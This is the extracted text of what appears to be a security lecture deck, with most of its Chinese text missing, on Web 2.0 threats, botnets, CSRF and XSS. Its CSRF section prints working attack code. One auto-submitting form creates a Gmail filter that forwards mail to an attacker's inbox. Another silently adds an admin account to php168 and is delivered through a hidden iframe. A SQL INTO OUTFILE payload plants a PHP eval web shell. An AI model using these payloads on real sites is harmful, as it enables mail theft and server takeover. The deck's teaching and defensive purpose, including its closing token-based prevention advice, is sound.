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£ Botnets - (e.g. asprox botnet)

¤ -cloud , ??
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¦ Google chrome OS -

§ web threats -
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Åsocial network & broad connectivity
ŀWEB 1.0 -> WEB 2.0 ( , , blog, plurk,facebook, 

twitter, wiki)

ŀFacebook, which has over 300 million users, was the original 
target of the KOOBFACE botnet ŀfor $$$$$

ŀno longer any global outbreaks, as were previously 
experienced with Slammer or CodeRed, but carefully 
orchestrated and architected attack; CSRF for finance, 
phishing, XSS, SQL and etc - for 



Web 2.0 Security Issues



Twitter 17



A4 - Insecure Direct Object References

McAfee Google

IE McAfee

Aurora



Åcyber pickpocketing( )
ÅBEBLOH, where the malware went beyond 
łtraditionalŃ keylogging by not only 
stealing credit card information but also 
accessing the account and transferring funds 
to another account ŀ , !!



CSRF , 

http://www.gnucitizen.org/util/csrf?

_method=POST&_enctype=multipart/form -data&_action=https

%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv

%3Dprf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from&cf1_to

&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s =z&irf =on&nvp_bu_cft

b=Create%20Filter

<html><body>

<form name="form" method="POST" enctype="multipart/form -data"

action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf">

<input type="hidden" name="cf2_emc" value="true"/>

<input type="hidden" name="cf2_email"

value="evilinbox@mailinator.com"/>

<input type="hidden" name="cf1_from" value=""/>

<input type="hidden" name="cf1_to" value=""/>

<input type="hidden" name="cf1_subj" value=""/>

<input type="hidden" name="cf1_has" value=""/><input type="hidden"

name="cf1_hasnot" value=""/>

<input type="hidden" name="cf1_attach" value="true"/>

<input type="hidden" name=" tfi " value=""/>

<input type="hidden" name="s" value="z"/>

<input type="hidden" name=" irf " value="on"/>

<input type="hidden" name=" nvp_bu_cftb" value="Create Filter"/>

</form><script>form.submit()</script></body></html>

:



CSRF , 

ÅCSRF(cross site request forgery)

Å

Å , 

Å

Å , 

Å , 
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Forced Browsing

<html>

<body>

< iframe src=http://www.google.com.tw/search?hl=zh -
TW&q=taiwan+taipei  height=0 width=0>

</body>

</html>

: 
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php168 CSRF

: 

http://192.168.0.3/php168/admin/index.php?lfj=member&jo
b=addmember

www.haik8.com



php168 CSRF

<form name="form1" method="post" 
action="index.php?lfj=member&action=addmember">

<tr class="head">
<td colspan="2"> </td>

</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> :</td>
<td width="63%">
<input type="text" name="postdb[username]">

</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> :</td>
<td width="63%">
<input type="password" name="postdb[passwd]">

</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> :</td>

<td width="63%">
<input type="password" name="postdb[passwd2]">

</td>
</tr>

<tr bgcolor="#FFFFFF">
www.haik8.com



php168 CSRF

<td width="37%"> :<span help=1>
,

</span></td>
<td width="63%"> <select name='postdb[groupid]' ><option value='' 

selected> </option> <option value='2' > </option> <option 
value='3' > </option> <option value='4' >
</option> <option value=''> -- + + --
</option> <option value='8' > </option> <option value='9' >

</option> </select> </td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> :</td>
<td width="63%">
<input type="text" name="postdb[email]">

</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">&nbsp;</td>
<td width="63%">
<input type="submit" name="Submit" value=" ">

</td>
</tr>

</form>
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, :

<html>
<body onload="document.form1.submit()">

<form name="form1" method="post" 
action="http://192.168.0.3/php168/admin/index.php?lfj=member&action=ad
dmember">

<input type="hidden" name="postdb[username]" value=' '>

<input type="hidden" name="postdb[passwd]" value='nohack'>

<input type="hidden" name="postdb[passwd2]" value='nohack'>

<select name='postdb[groupid]' ><option value='3' selected>

</form>

</body>
</html>

php168 CSRF



www.haik8.com

http://192.168.0.3/php168/upload_files/special/5_20090425170444_
eA==.htm

ŧ Ũǯ ŧnohackŨ

php168 CSRF



www.haik8.com

<html>
<body>
<iframe 
src=http://192.168.0.3/php168/upload_files/special/5_20090425170444_eA==.htm 
width=0 height=0></iframe>
<img src=/Article/UploadPic/2010 -4/2010417144022600.jpg></img>
</body>
<html>

special/5_20090426220451_PYwLh.jpg
http://192.168.0.3/php168/upload_files/ special/5_20090426220451_PYwLh.jpg

php168 CSRF
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ŧSELECTũ<?php @eval($_POST[cmd]);?>Ū into outfile ũC:\
\ AppServ \ \ www \ \ php168 \ \nohack.phpŪŨ

php168 CSRF
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php168 CSRF



CSRF Preventions

Ensure that there are no XSS vulnerabilities in your application 

Insert custom random tokens into every form and URL
ï Store a single token in the session and add it to all forms and links
ÅHidden Field: <input name="token" value=" 687965fdfaew87agrde" 

type="hidden"/>
ÅSingle use URL: /accounts/687965fdfaew87agrde
ÅForm Token: /accounts?auth=687965fdfaew87agrde é

For sensitive data or value transactions, re-authenticate or use transaction 

signing 

Use X-header



Stored XSS(aka Persistent XSS) is more serious than 

reflected XSS

Reflected  XSS must use some means of inducing users to 

visit attackerôs crafted URL.

phishing attack by offering a link to his own malicious web server 

would be suspected as a scam

the requirement for stored XSS is avoided

Stored XSS guaranteed that victim users will be already 

accessing the application at the time that the attack strikes

reflected XSS may try to engineer this situation by persuading the 

user to log in 

Differences between the Two



-

ÅBusiness as usual for botnets but heavier 

monetary purpose
ïDDoS, Sending Spams, Phishing (fake websites), Backdoor 

(Trojan horse), Spyware (keylogging, information 

harvesting), Storing pirated materials

ïIRC evolved into peer-to-peer (P2P)-type botnet is more 

difficult to take down

ïHTTP-based traffic will also be a communication of choice   



Relationships among Security Factors



Risk Mitigation 
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